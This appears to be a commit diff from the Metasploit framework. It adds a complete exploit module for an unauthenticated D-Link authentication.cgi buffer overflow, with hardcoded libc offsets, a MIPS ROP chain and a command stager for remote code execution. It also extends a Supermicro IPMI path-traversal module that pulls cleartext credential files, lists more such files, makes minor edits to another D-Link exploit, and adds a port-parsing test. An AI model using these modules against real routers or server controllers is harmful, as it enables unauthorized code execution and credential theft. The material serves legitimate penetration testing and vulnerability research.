|
@ -9,8 +9,10 @@ require 'msf/core'
|
|||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
|
||||
APP_NAME = "Supermicro web interface"
|
||||
|
||||
def initialize(info = {})
|
||||
|
|
@ -23,7 +25,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
a valid, but not necessarily administrator-level account, to access the contents of any file
|
||||
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for
|
||||
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)
|
||||
with firmware version SMT_X9_214.
|
||||
with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and
|
||||
/wsman/simple_auth.passwd
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
|
|
@ -33,8 +36,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
#[ 'CVE', '' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]
|
||||
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ],
|
||||
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']
|
||||
],
|
||||
'DisclosureDate' => 'Nov 06 2013'))
|
||||
|
||||
|
|
@ -107,7 +110,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def run
|
||||
def run_host(ip)
|
||||
print_status("#{peer} - Checking if it's a #{APP_NAME}....")
|
||||
if is_supermicro?
|
||||
print_good("#{peer} - Check successful")
|
||||
|
|
@ -133,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
file_name = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'supermicro.ipmi.traversal',
|
||||
'supermicro.ipmi.traversal.psblock',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
|
|
|
|||
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'D-Link authentication.cgi Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits an remote buffer overflow vulnerability on several D-Link routers.
|
||||
The vulnerability exists in the handling of HTTP queries to the authentication.cgi with
|
||||
long password values. The vulnerability can be exploitable without authentication. This
|
||||
module has been tested successfully on D-Link firmware DIR645A1_FW103B11. Other firmwares
|
||||
such as the DIR865LA1_FW101b06 and DIR845LA1_FW100b20 are also vulnerable.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this module
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['linux'],
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '95951'],
|
||||
['EDB', '27283'],
|
||||
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008'], #advisory on vendor web site
|
||||
['URL', 'http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000'], #vendor web site of router
|
||||
['URL', 'http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt'] #original advisory
|
||||
],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'D-Link DIR-645 1.03',
|
||||
{
|
||||
'Offset' => 1011,
|
||||
'LibcBase' => 0x2aaf8000, #Router
|
||||
#'LibcBase' => 0x40854000, # QEMU environment
|
||||
'System' => 0x000531FF, # address of system
|
||||
'CalcSystem' => 0x000158C8, # calculate the correct address of system
|
||||
'CallSystem' => 0x000159CC, # call our system
|
||||
}
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Feb 08 2013',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'uri' => "/authentication.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /status.*uid/
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
rescue ::Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
end
|
||||
|
||||
print_status("#{peer} - Exploiting...")
|
||||
execute_cmdstager(
|
||||
:linemax => 200,
|
||||
:concat_operator => " && "
|
||||
)
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
shellcode = rand_text_alpha_upper(target['Offset']) # padding
|
||||
shellcode << [target['LibcBase'] + target['System']].pack("V") # s0 - address of system
|
||||
shellcode << rand_text_alpha_upper(16) # unused reg $s1 - $s4
|
||||
shellcode << [target['LibcBase'] + target['CallSystem']].pack("V") # s5 - second gadget (call system)
|
||||
|
||||
# .text:000159CC 10 00 B5 27 addiu $s5, $sp, 0x170+var_160 # get the address of our command into $s5
|
||||
# .text:000159D0 21 28 60 02 move $a1, $s3 # not used
|
||||
# .text:000159D4 21 30 20 02 move $a2, $s1 # not used
|
||||
# .text:000159D8 21 C8 00 02 move $t9, $s0 # $s0 - system
|
||||
# .text:000159DC 09 F8 20 03 jalr $t9 # call system
|
||||
# .text:000159E0 21 20 A0 02 move $a0, $s5 # our cmd -> into a0 as parameter for system
|
||||
|
||||
shellcode << rand_text_alpha_upper(12) # unused registers $s6 - $fp
|
||||
shellcode << [target['LibcBase'] + target['CalcSystem']].pack("V") # $ra - gadget nr 1 (prepare the parameter for system)
|
||||
|
||||
# .text:000158C8 21 C8 A0 02 move $t9, $s5 # s5 - our second gadget
|
||||
# .text:000158CC 09 F8 20 03 jalr $t9 # jump the second gadget
|
||||
# .text:000158D0 01 00 10 26 addiu $s0, 1 # s0 our system address - lets calculate the right address
|
||||
|
||||
shellcode << rand_text_alpha_upper(16) # filler in front of our command
|
||||
shellcode << cmd
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts)
|
||||
shellcode = prepare_shellcode(cmd)
|
||||
uid = rand_text_alpha(4)
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => "/authentication.cgi",
|
||||
'cookie' => "uid=#{uid}",
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'uid' => uid,
|
||||
'password' => rand_text_alpha(3) + shellcode,
|
||||
}
|
||||
})
|
||||
return res
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -6,7 +6,7 @@
|
|||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStagerEcho
|
||||
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
super(update_info(info,
|
||||
'Name' => 'D-Link hedwig.cgi Buffer Overflow in Cookie Header',
|
||||
'Description' => %q{
|
||||
This module exploits an anonymous remote code execution vulnerability on different D-Link
|
||||
This module exploits an anonymous remote code execution vulnerability on several D-Link
|
||||
routers. The vulnerability exists in the handling of HTTP queries to the hedwig.cgi with
|
||||
long value cookies. This module has been tested successfully on D-Link DIR300v2.14, DIR600
|
||||
and the DIR645A1_FW103B11 firmware.
|
||||
|
|
@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
'Roberto Paleari', # Vulnerability discovery
|
||||
'Craig Heffner', # also discovered the vulnerability / help with some parts of this exploit
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on different other routers
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module and verification on several other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
|
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
print_status("#{peer} - Trying to access the vulnerable URL...")
|
||||
print_status("#{peer} - Accessing the vulnerable URL...")
|
||||
|
||||
unless check == Exploit::CheckCode::Detected
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
|
||||
|
|
|
|||
|
|
@ -163,4 +163,35 @@ describe Rex::Socket do
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
describe '.portspec_to_portlist' do
|
||||
|
||||
portspec = '-1,0-10,!2-5,!7,65530-,65536'
|
||||
context "'#{portspec}'" do
|
||||
|
||||
subject { described_class.portspec_to_portlist portspec }
|
||||
|
||||
it { should be_a(Array) }
|
||||
|
||||
not_included = []
|
||||
not_included << -1
|
||||
not_included << 65536
|
||||
not_included.concat (2..5).to_a
|
||||
not_included << 7
|
||||
not_included.each do |item|
|
||||
it { should_not include item }
|
||||
end
|
||||
|
||||
included = []
|
||||
included << -1
|
||||
included.concat (0..10).to_a
|
||||
included.concat (65530..65535).to_a
|
||||
included << 65536
|
||||
included = included - not_included
|
||||
included.each do |item|
|
||||
it { should include item }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue